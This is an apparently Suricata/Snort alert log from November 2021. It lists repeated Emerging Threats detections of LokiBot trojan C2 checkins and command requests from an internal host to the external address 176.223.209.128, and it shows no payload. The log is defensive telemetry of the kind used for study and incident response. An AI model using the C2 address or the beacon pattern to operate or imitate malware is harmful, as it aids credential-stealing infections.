11/25/21-10:49:48.138015	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50033	80	192.168.11.20	176.223.209.128
11/25/21-10:49:48.138015	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50033	80	192.168.11.20	176.223.209.128
11/25/21-10:49:48.138015	TCP	2025381	ET TROJAN LokiBot Checkin	50033	80	192.168.11.20	176.223.209.128
11/25/21-10:49:48.138015	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50033	80	192.168.11.20	176.223.209.128
11/25/21-10:49:48.608440	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50034	80	192.168.11.20	176.223.209.128
11/25/21-10:49:48.608440	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50034	80	192.168.11.20	176.223.209.128
11/25/21-10:49:48.608440	TCP	2025381	ET TROJAN LokiBot Checkin	50034	80	192.168.11.20	176.223.209.128
11/25/21-10:49:48.608440	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50034	80	192.168.11.20	176.223.209.128
11/25/21-10:49:49.101921	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50035	80	192.168.11.20	176.223.209.128
11/25/21-10:49:49.101921	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50035	80	192.168.11.20	176.223.209.128
11/25/21-10:49:49.101921	TCP	2025381	ET TROJAN LokiBot Checkin	50035	80	192.168.11.20	176.223.209.128
11/25/21-10:49:49.101921	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50035	80	192.168.11.20	176.223.209.128
11/25/21-10:49:49.626649	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50036	80	192.168.11.20	176.223.209.128
11/25/21-10:49:49.626649	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50036	80	192.168.11.20	176.223.209.128
11/25/21-10:49:49.626649	TCP	2025381	ET TROJAN LokiBot Checkin	50036	80	192.168.11.20	176.223.209.128
11/25/21-10:49:49.626649	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50036	80	192.168.11.20	176.223.209.128
11/25/21-10:49:50.135554	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50037	80	192.168.11.20	176.223.209.128
11/25/21-10:49:50.135554	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50037	80	192.168.11.20	176.223.209.128
11/25/21-10:49:50.135554	TCP	2025381	ET TROJAN LokiBot Checkin	50037	80	192.168.11.20	176.223.209.128
11/25/21-10:49:50.135554	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50037	80	192.168.11.20	176.223.209.128
11/25/21-10:49:50.664838	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50038	80	192.168.11.20	176.223.209.128
11/25/21-10:49:50.664838	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50038	80	192.168.11.20	176.223.209.128
11/25/21-10:49:50.664838	TCP	2025381	ET TROJAN LokiBot Checkin	50038	80	192.168.11.20	176.223.209.128
11/25/21-10:49:50.664838	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50038	80	192.168.11.20	176.223.209.128
11/25/21-10:49:51.178533	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50039	80	192.168.11.20	176.223.209.128
11/25/21-10:49:51.178533	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50039	80	192.168.11.20	176.223.209.128
11/25/21-10:49:51.178533	TCP	2025381	ET TROJAN LokiBot Checkin	50039	80	192.168.11.20	176.223.209.128
11/25/21-10:49:51.178533	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50039	80	192.168.11.20	176.223.209.128
11/25/21-10:49:51.668767	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50040	80	192.168.11.20	176.223.209.128
11/25/21-10:49:51.668767	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50040	80	192.168.11.20	176.223.209.128
11/25/21-10:49:51.668767	TCP	2025381	ET TROJAN LokiBot Checkin	50040	80	192.168.11.20	176.223.209.128
11/25/21-10:49:51.668767	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50040	80	192.168.11.20	176.223.209.128
11/25/21-10:49:52.098875	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50041	80	192.168.11.20	176.223.209.128
11/25/21-10:49:52.098875	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50041	80	192.168.11.20	176.223.209.128
11/25/21-10:49:52.098875	TCP	2025381	ET TROJAN LokiBot Checkin	50041	80	192.168.11.20	176.223.209.128
11/25/21-10:49:52.098875	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50041	80	192.168.11.20	176.223.209.128
11/25/21-10:49:52.618484	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50042	80	192.168.11.20	176.223.209.128
11/25/21-10:49:52.618484	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50042	80	192.168.11.20	176.223.209.128
11/25/21-10:49:52.618484	TCP	2025381	ET TROJAN LokiBot Checkin	50042	80	192.168.11.20	176.223.209.128
11/25/21-10:49:52.618484	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50042	80	192.168.11.20	176.223.209.128
11/25/21-10:49:53.143999	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50043	80	192.168.11.20	176.223.209.128
11/25/21-10:49:53.143999	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50043	80	192.168.11.20	176.223.209.128
11/25/21-10:49:53.143999	TCP	2025381	ET TROJAN LokiBot Checkin	50043	80	192.168.11.20	176.223.209.128
11/25/21-10:49:53.143999	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50043	80	192.168.11.20	176.223.209.128
11/25/21-10:49:53.594525	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50044	80	192.168.11.20	176.223.209.128
11/25/21-10:49:53.594525	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50044	80	192.168.11.20	176.223.209.128
11/25/21-10:49:53.594525	TCP	2025381	ET TROJAN LokiBot Checkin	50044	80	192.168.11.20	176.223.209.128
11/25/21-10:49:53.594525	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50044	80	192.168.11.20	176.223.209.128
11/25/21-10:49:54.082518	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50045	80	192.168.11.20	176.223.209.128
11/25/21-10:49:54.082518	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50045	80	192.168.11.20	176.223.209.128
11/25/21-10:49:54.082518	TCP	2025381	ET TROJAN LokiBot Checkin	50045	80	192.168.11.20	176.223.209.128
11/25/21-10:49:54.082518	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50045	80	192.168.11.20	176.223.209.128
11/25/21-10:49:54.580386	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50046	80	192.168.11.20	176.223.209.128
11/25/21-10:49:54.580386	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50046	80	192.168.11.20	176.223.209.128
11/25/21-10:49:54.580386	TCP	2025381	ET TROJAN LokiBot Checkin	50046	80	192.168.11.20	176.223.209.128
11/25/21-10:49:54.580386	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50046	80	192.168.11.20	176.223.209.128
11/25/21-10:49:55.062276	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50047	80	192.168.11.20	176.223.209.128
11/25/21-10:49:55.062276	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50047	80	192.168.11.20	176.223.209.128
11/25/21-10:49:55.062276	TCP	2025381	ET TROJAN LokiBot Checkin	50047	80	192.168.11.20	176.223.209.128
11/25/21-10:49:55.062276	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50047	80	192.168.11.20	176.223.209.128
11/25/21-10:49:55.508760	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50048	80	192.168.11.20	176.223.209.128
11/25/21-10:49:55.508760	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50048	80	192.168.11.20	176.223.209.128
11/25/21-10:49:55.508760	TCP	2025381	ET TROJAN LokiBot Checkin	50048	80	192.168.11.20	176.223.209.128
11/25/21-10:49:55.508760	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50048	80	192.168.11.20	176.223.209.128
11/25/21-10:49:56.010864	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50049	80	192.168.11.20	176.223.209.128
11/25/21-10:49:56.010864	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50049	80	192.168.11.20	176.223.209.128
11/25/21-10:49:56.010864	TCP	2025381	ET TROJAN LokiBot Checkin	50049	80	192.168.11.20	176.223.209.128
11/25/21-10:49:56.010864	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50049	80	192.168.11.20	176.223.209.128
11/25/21-10:49:56.523326	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50050	80	192.168.11.20	176.223.209.128
11/25/21-10:49:56.523326	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50050	80	192.168.11.20	176.223.209.128
11/25/21-10:49:56.523326	TCP	2025381	ET TROJAN LokiBot Checkin	50050	80	192.168.11.20	176.223.209.128
11/25/21-10:49:56.523326	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50050	80	192.168.11.20	176.223.209.128
11/25/21-10:49:57.024274	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50051	80	192.168.11.20	176.223.209.128
11/25/21-10:49:57.024274	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50051	80	192.168.11.20	176.223.209.128
11/25/21-10:49:57.024274	TCP	2025381	ET TROJAN LokiBot Checkin	50051	80	192.168.11.20	176.223.209.128
11/25/21-10:49:57.024274	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50051	80	192.168.11.20	176.223.209.128
11/25/21-10:49:57.509550	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50052	80	192.168.11.20	176.223.209.128
11/25/21-10:49:57.509550	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50052	80	192.168.11.20	176.223.209.128
11/25/21-10:49:57.509550	TCP	2025381	ET TROJAN LokiBot Checkin	50052	80	192.168.11.20	176.223.209.128
11/25/21-10:49:57.509550	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50052	80	192.168.11.20	176.223.209.128
11/25/21-10:49:58.004627	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50053	80	192.168.11.20	176.223.209.128
11/25/21-10:49:58.004627	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50053	80	192.168.11.20	176.223.209.128
11/25/21-10:49:58.004627	TCP	2025381	ET TROJAN LokiBot Checkin	50053	80	192.168.11.20	176.223.209.128
11/25/21-10:49:58.004627	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50053	80	192.168.11.20	176.223.209.128
11/25/21-10:49:58.514003	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50054	80	192.168.11.20	176.223.209.128
11/25/21-10:49:58.514003	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50054	80	192.168.11.20	176.223.209.128
11/25/21-10:49:58.514003	TCP	2025381	ET TROJAN LokiBot Checkin	50054	80	192.168.11.20	176.223.209.128
11/25/21-10:49:58.514003	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50054	80	192.168.11.20	176.223.209.128
11/25/21-10:49:59.022258	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50055	80	192.168.11.20	176.223.209.128
11/25/21-10:49:59.022258	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50055	80	192.168.11.20	176.223.209.128
11/25/21-10:49:59.022258	TCP	2025381	ET TROJAN LokiBot Checkin	50055	80	192.168.11.20	176.223.209.128
11/25/21-10:49:59.022258	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50055	80	192.168.11.20	176.223.209.128
11/25/21-10:49:59.545415	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50056	80	192.168.11.20	176.223.209.128
11/25/21-10:49:59.545415	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50056	80	192.168.11.20	176.223.209.128
11/25/21-10:49:59.545415	TCP	2025381	ET TROJAN LokiBot Checkin	50056	80	192.168.11.20	176.223.209.128
11/25/21-10:49:59.545415	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50056	80	192.168.11.20	176.223.209.128
11/25/21-10:50:00.060117	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50057	80	192.168.11.20	176.223.209.128
11/25/21-10:50:00.060117	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50057	80	192.168.11.20	176.223.209.128
11/25/21-10:50:00.060117	TCP	2025381	ET TROJAN LokiBot Checkin	50057	80	192.168.11.20	176.223.209.128
11/25/21-10:50:00.060117	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50057	80	192.168.11.20	176.223.209.128
11/25/21-10:50:00.566566	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50058	80	192.168.11.20	176.223.209.128
11/25/21-10:50:00.566566	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50058	80	192.168.11.20	176.223.209.128
11/25/21-10:50:00.566566	TCP	2025381	ET TROJAN LokiBot Checkin	50058	80	192.168.11.20	176.223.209.128
11/25/21-10:50:00.566566	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50058	80	192.168.11.20	176.223.209.128
11/25/21-10:50:01.074114	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50059	80	192.168.11.20	176.223.209.128
11/25/21-10:50:01.074114	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50059	80	192.168.11.20	176.223.209.128
11/25/21-10:50:01.074114	TCP	2025381	ET TROJAN LokiBot Checkin	50059	80	192.168.11.20	176.223.209.128
11/25/21-10:50:01.074114	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50059	80	192.168.11.20	176.223.209.128
11/25/21-10:50:01.589853	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50060	80	192.168.11.20	176.223.209.128
11/25/21-10:50:01.589853	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50060	80	192.168.11.20	176.223.209.128
11/25/21-10:50:01.589853	TCP	2025381	ET TROJAN LokiBot Checkin	50060	80	192.168.11.20	176.223.209.128
11/25/21-10:50:01.589853	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50060	80	192.168.11.20	176.223.209.128
11/25/21-10:50:02.090231	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50061	80	192.168.11.20	176.223.209.128
11/25/21-10:50:02.090231	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50061	80	192.168.11.20	176.223.209.128
11/25/21-10:50:02.090231	TCP	2025381	ET TROJAN LokiBot Checkin	50061	80	192.168.11.20	176.223.209.128
11/25/21-10:50:02.090231	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50061	80	192.168.11.20	176.223.209.128
11/25/21-10:50:02.599251	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50062	80	192.168.11.20	176.223.209.128
11/25/21-10:50:02.599251	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50062	80	192.168.11.20	176.223.209.128
11/25/21-10:50:02.599251	TCP	2025381	ET TROJAN LokiBot Checkin	50062	80	192.168.11.20	176.223.209.128
11/25/21-10:50:02.599251	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50062	80	192.168.11.20	176.223.209.128
11/25/21-10:50:03.115368	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50063	80	192.168.11.20	176.223.209.128
11/25/21-10:50:03.115368	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50063	80	192.168.11.20	176.223.209.128
11/25/21-10:50:03.115368	TCP	2025381	ET TROJAN LokiBot Checkin	50063	80	192.168.11.20	176.223.209.128
11/25/21-10:50:03.115368	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50063	80	192.168.11.20	176.223.209.128
11/25/21-10:50:03.594284	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50064	80	192.168.11.20	176.223.209.128
11/25/21-10:50:03.594284	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50064	80	192.168.11.20	176.223.209.128
11/25/21-10:50:03.594284	TCP	2025381	ET TROJAN LokiBot Checkin	50064	80	192.168.11.20	176.223.209.128
11/25/21-10:50:03.594284	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50064	80	192.168.11.20	176.223.209.128
11/25/21-10:50:04.083753	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50065	80	192.168.11.20	176.223.209.128
11/25/21-10:50:04.083753	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50065	80	192.168.11.20	176.223.209.128
11/25/21-10:50:04.083753	TCP	2025381	ET TROJAN LokiBot Checkin	50065	80	192.168.11.20	176.223.209.128
11/25/21-10:50:04.083753	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50065	80	192.168.11.20	176.223.209.128
11/25/21-10:50:04.617832	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50066	80	192.168.11.20	176.223.209.128
11/25/21-10:50:04.617832	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50066	80	192.168.11.20	176.223.209.128
11/25/21-10:50:04.617832	TCP	2025381	ET TROJAN LokiBot Checkin	50066	80	192.168.11.20	176.223.209.128
11/25/21-10:50:04.617832	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50066	80	192.168.11.20	176.223.209.128
11/25/21-10:50:05.185905	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50067	80	192.168.11.20	176.223.209.128
11/25/21-10:50:05.185905	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50067	80	192.168.11.20	176.223.209.128
11/25/21-10:50:05.185905	TCP	2025381	ET TROJAN LokiBot Checkin	50067	80	192.168.11.20	176.223.209.128
11/25/21-10:50:05.185905	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50067	80	192.168.11.20	176.223.209.128
11/25/21-10:50:05.692300	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50068	80	192.168.11.20	176.223.209.128
11/25/21-10:50:05.692300	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50068	80	192.168.11.20	176.223.209.128
11/25/21-10:50:05.692300	TCP	2025381	ET TROJAN LokiBot Checkin	50068	80	192.168.11.20	176.223.209.128
11/25/21-10:50:05.692300	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50068	80	192.168.11.20	176.223.209.128
11/25/21-10:50:06.194184	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50069	80	192.168.11.20	176.223.209.128
11/25/21-10:50:06.194184	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50069	80	192.168.11.20	176.223.209.128
11/25/21-10:50:06.194184	TCP	2025381	ET TROJAN LokiBot Checkin	50069	80	192.168.11.20	176.223.209.128
11/25/21-10:50:06.194184	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50069	80	192.168.11.20	176.223.209.128
11/25/21-10:50:06.671276	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50070	80	192.168.11.20	176.223.209.128
11/25/21-10:50:06.671276	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50070	80	192.168.11.20	176.223.209.128
11/25/21-10:50:06.671276	TCP	2025381	ET TROJAN LokiBot Checkin	50070	80	192.168.11.20	176.223.209.128
11/25/21-10:50:06.671276	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50070	80	192.168.11.20	176.223.209.128
11/25/21-10:50:07.189424	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50071	80	192.168.11.20	176.223.209.128
11/25/21-10:50:07.189424	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50071	80	192.168.11.20	176.223.209.128
11/25/21-10:50:07.189424	TCP	2025381	ET TROJAN LokiBot Checkin	50071	80	192.168.11.20	176.223.209.128
11/25/21-10:50:07.189424	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50071	80	192.168.11.20	176.223.209.128
11/25/21-10:50:07.699299	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50072	80	192.168.11.20	176.223.209.128
11/25/21-10:50:07.699299	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50072	80	192.168.11.20	176.223.209.128
11/25/21-10:50:07.699299	TCP	2025381	ET TROJAN LokiBot Checkin	50072	80	192.168.11.20	176.223.209.128
11/25/21-10:50:07.699299	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50072	80	192.168.11.20	176.223.209.128
11/25/21-10:50:08.202000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50073	80	192.168.11.20	176.223.209.128
11/25/21-10:50:08.202000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50073	80	192.168.11.20	176.223.209.128
11/25/21-10:50:08.202000	TCP	2025381	ET TROJAN LokiBot Checkin	50073	80	192.168.11.20	176.223.209.128
11/25/21-10:50:08.202000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50073	80	192.168.11.20	176.223.209.128
11/25/21-10:50:08.706879	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50074	80	192.168.11.20	176.223.209.128
11/25/21-10:50:08.706879	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50074	80	192.168.11.20	176.223.209.128
11/25/21-10:50:08.706879	TCP	2025381	ET TROJAN LokiBot Checkin	50074	80	192.168.11.20	176.223.209.128
11/25/21-10:50:08.706879	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50074	80	192.168.11.20	176.223.209.128
11/25/21-10:50:09.222780	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50075	80	192.168.11.20	176.223.209.128
11/25/21-10:50:09.222780	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50075	80	192.168.11.20	176.223.209.128
11/25/21-10:50:09.222780	TCP	2025381	ET TROJAN LokiBot Checkin	50075	80	192.168.11.20	176.223.209.128
11/25/21-10:50:09.222780	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50075	80	192.168.11.20	176.223.209.128
11/25/21-10:50:09.674116	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50076	80	192.168.11.20	176.223.209.128
11/25/21-10:50:09.674116	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50076	80	192.168.11.20	176.223.209.128
11/25/21-10:50:09.674116	TCP	2025381	ET TROJAN LokiBot Checkin	50076	80	192.168.11.20	176.223.209.128
11/25/21-10:50:09.674116	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50076	80	192.168.11.20	176.223.209.128
11/25/21-10:50:10.188351	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50077	80	192.168.11.20	176.223.209.128
11/25/21-10:50:10.188351	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50077	80	192.168.11.20	176.223.209.128
11/25/21-10:50:10.188351	TCP	2025381	ET TROJAN LokiBot Checkin	50077	80	192.168.11.20	176.223.209.128
11/25/21-10:50:10.188351	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50077	80	192.168.11.20	176.223.209.128
11/25/21-10:50:10.703556	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50078	80	192.168.11.20	176.223.209.128
11/25/21-10:50:10.703556	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50078	80	192.168.11.20	176.223.209.128
11/25/21-10:50:10.703556	TCP	2025381	ET TROJAN LokiBot Checkin	50078	80	192.168.11.20	176.223.209.128
11/25/21-10:50:10.703556	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50078	80	192.168.11.20	176.223.209.128
11/25/21-10:50:11.205022	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50079	80	192.168.11.20	176.223.209.128
11/25/21-10:50:11.205022	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50079	80	192.168.11.20	176.223.209.128
11/25/21-10:50:11.205022	TCP	2025381	ET TROJAN LokiBot Checkin	50079	80	192.168.11.20	176.223.209.128
11/25/21-10:50:11.205022	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50079	80	192.168.11.20	176.223.209.128
11/25/21-10:50:11.714368	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50080	80	192.168.11.20	176.223.209.128
11/25/21-10:50:11.714368	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50080	80	192.168.11.20	176.223.209.128
11/25/21-10:50:11.714368	TCP	2025381	ET TROJAN LokiBot Checkin	50080	80	192.168.11.20	176.223.209.128
11/25/21-10:50:11.714368	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50080	80	192.168.11.20	176.223.209.128
11/25/21-10:50:12.226092	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50081	80	192.168.11.20	176.223.209.128
11/25/21-10:50:12.226092	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50081	80	192.168.11.20	176.223.209.128
11/25/21-10:50:12.226092	TCP	2025381	ET TROJAN LokiBot Checkin	50081	80	192.168.11.20	176.223.209.128
11/25/21-10:50:12.226092	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50081	80	192.168.11.20	176.223.209.128
11/25/21-10:50:12.706710	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50082	80	192.168.11.20	176.223.209.128
11/25/21-10:50:12.706710	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50082	80	192.168.11.20	176.223.209.128
11/25/21-10:50:12.706710	TCP	2025381	ET TROJAN LokiBot Checkin	50082	80	192.168.11.20	176.223.209.128
11/25/21-10:50:12.706710	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50082	80	192.168.11.20	176.223.209.128
11/25/21-10:50:13.215745	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50083	80	192.168.11.20	176.223.209.128
11/25/21-10:50:13.215745	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50083	80	192.168.11.20	176.223.209.128
11/25/21-10:50:13.215745	TCP	2025381	ET TROJAN LokiBot Checkin	50083	80	192.168.11.20	176.223.209.128
11/25/21-10:50:13.215745	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50083	80	192.168.11.20	176.223.209.128
11/25/21-10:50:13.714873	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50084	80	192.168.11.20	176.223.209.128
11/25/21-10:50:13.714873	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50084	80	192.168.11.20	176.223.209.128
11/25/21-10:50:13.714873	TCP	2025381	ET TROJAN LokiBot Checkin	50084	80	192.168.11.20	176.223.209.128
11/25/21-10:50:13.714873	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50084	80	192.168.11.20	176.223.209.128
11/25/21-10:50:14.199511	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50085	80	192.168.11.20	176.223.209.128
11/25/21-10:50:14.199511	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50085	80	192.168.11.20	176.223.209.128
11/25/21-10:50:14.199511	TCP	2025381	ET TROJAN LokiBot Checkin	50085	80	192.168.11.20	176.223.209.128
11/25/21-10:50:14.199511	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50085	80	192.168.11.20	176.223.209.128
11/25/21-10:50:14.643842	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50086	80	192.168.11.20	176.223.209.128
11/25/21-10:50:14.643842	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50086	80	192.168.11.20	176.223.209.128
11/25/21-10:50:14.643842	TCP	2025381	ET TROJAN LokiBot Checkin	50086	80	192.168.11.20	176.223.209.128
11/25/21-10:50:14.643842	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50086	80	192.168.11.20	176.223.209.128
11/25/21-10:50:15.146124	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50087	80	192.168.11.20	176.223.209.128
11/25/21-10:50:15.146124	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50087	80	192.168.11.20	176.223.209.128
